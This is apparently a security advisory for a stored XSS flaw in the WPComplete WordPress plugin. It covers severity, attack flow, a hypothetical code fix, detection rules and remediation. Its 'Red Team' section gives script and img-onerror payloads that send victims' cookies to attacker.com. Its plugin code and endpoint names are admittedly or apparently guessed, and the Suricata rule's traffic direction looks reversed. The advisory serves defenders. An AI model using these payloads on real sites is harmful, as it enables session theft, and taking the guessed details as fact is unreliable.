CVE-2025-58974

Executive Summary

CVE-2025-58974 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin WPComplete by StellarWP. The vulnerability exists in versions from n/a through 2.9.5.2. An authenticated attacker with contributor-level privileges or higher can inject malicious JavaScript into the web application, which is then stored and executed in the browsers of other users (including administrators) when they view the affected page. This can lead to session hijacking, credential theft, or defacement. The vulnerability is classified as Improper Neutralization of Input During Web Page Generation (CWE-79). No public exploit code or patch details are currently available, and the EPSS score is 0.0%, indicating low exploitation activity at this time.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and potentially via third-party marketplaces. Users are advised to monitor the plugin's update channel for a patched version. Since the plugin is part of the WordPress ecosystem, supply chain risks include compromised updates or malicious forks. Administrators should verify the integrity of the plugin files against the official source.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.5 (Medium)
• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – An attacker needs contributor-level access to the WordPress site.
• User Interaction (UI): Required (R) – The victim must visit the page containing the malicious payload.
• Scope (S): Changed (C) – The impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited information disclosure.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): Low (L) – Limited impact on availability.

Threat Level: Medium. While the CVSS score is 6.5, the requirement for authenticated access and user interaction reduces the immediate risk. However, Stored XSS in a WordPress plugin can be chained with other vulnerabilities or social engineering to achieve higher impact.

Deep Dive & Mechanics

The vulnerability resides in the WPComplete plugin, which is used to track and manage task completion in WordPress. The plugin fails to properly sanitize user-supplied input before storing it in the database and later rendering it in the browser. Specifically, input fields related to task descriptions, comments, or custom fields are not neutralized, allowing an attacker to inject arbitrary HTML and JavaScript.

Attack Flow:

1. An attacker with contributor-level access (or higher) logs into the WordPress admin panel.
2. The attacker navigates to a WPComplete feature that accepts user input (e.g., creating a new task or adding a comment).
3. The attacker injects a malicious payload, such as <script>alert('XSS')</script>, into the input field.
4. The plugin stores the payload in the WordPress database without proper sanitization.
5. When an administrator or other user views the affected page (e.g., task list or dashboard), the payload executes in their browser.
6. The attacker can then steal cookies, session tokens, or perform actions on behalf of the victim.

Root Cause: The plugin uses functions like echo or the_content without applying WordPress's built-in escaping functions (e.g., esc_html(), wp_kses_post()) or output encoding.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on common XSS remediation.

Vulnerable Code (PHP):

// In a WPComplete template file
echo '<div class="task-description">' . $task->description . '</div>';

Patched Code (PHP):

// Properly escape output
echo '<div class="task-description">' . esc_html( $task->description ) . '</div>';

The vulnerable code directly outputs the user-supplied $task->description without escaping. The patched code uses esc_html() to convert special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress installation with WPComplete plugin version <= 2.9.5.2.
• A user account with at least "Contributor" role.

Exploitation Steps:

1. Log in as a contributor.
2. Navigate to WPComplete and create a new task.
3. In the task description field, inject the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the task.
5. Wait for an administrator to view the task list or dashboard.
6. The administrator's browser will execute the script, sending their cookies to the attacker's server.

Alternative Payload (Session Hijacking):

<img src=x onerror="document.location='https://attacker.com/steal?cookie='+document.cookie">

Blue Team

Detection:

• Monitor for unusual POST requests to WPComplete endpoints (e.g., /wp-admin/admin-ajax.php with action wpcomplete_save_task).
• Look for script tags or event handlers in task descriptions or comments.
• Use the detection rules provided below.

Mitigation:

• Restrict contributor-level access to trusted users only.
• Implement a Web Application Firewall (WAF) rule to block common XSS patterns.
• Apply the principle of least privilege.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to unknown or suspicious domains containing cookie data.
  • POST requests to /wp-admin/admin-ajax.php with parameters containing <script> or <img onerror=.
• File IOCs:
  • Modified plugin files in /wp-content/plugins/wpcomplete/ (check file integrity).
• Database IOCs:
  • Entries in the wp_postmeta or custom WPComplete tables containing JavaScript code.
• Log IOCs:
  • WordPress debug log entries showing unexpected output or errors related to WPComplete.

Detection Engineering

YARA Rule

rule CVE_2025_58974_WPComplete_XSS {
    meta:
        description = "Detects malicious payloads targeting CVE-2025-58974 in WPComplete plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-58974"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /<img[^>]*onerror\s*=/is
        $xss3 = /<svg[^>]*onload\s*=/is
        $wpcomplete = "wpcomplete" nocase
    condition:
        any of ($xss*) and $wpcomplete
}

Sigma Rule

title: CVE-2025-58974 - Stored XSS in WPComplete Plugin
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects potential Stored XSS attempts against WPComplete plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=wpcomplete_save_task'
        cs-uri-query|re: '(<script|<img onerror|<svg onload)'
    condition: selection
falsepositives:
    - Legitimate use of HTML in task descriptions (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-58974 WPComplete Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=wpcomplete_save_task"; http_client_body; pcre:"/(<script|<img onerror|<svg onload)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the WPComplete plugin until a patch is released.
2. Restrict user roles – Only grant contributor access to trusted users.
3. Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
4. Monitor logs for suspicious activity related to WPComplete.

Long-Term Fix:

• Apply the official patch from StellarWP once released.
• Update the plugin to the latest version.
• Conduct a security audit of all WordPress plugins.

Workaround:

• Use a security plugin like Wordfence to add an additional layer of XSS protection.
• Manually sanitize input by adding add_filter('wpcomplete_task_description', 'esc_html'); in the theme's functions.php (if the plugin supports filters).

Valters IT
Securing Digital Frontiers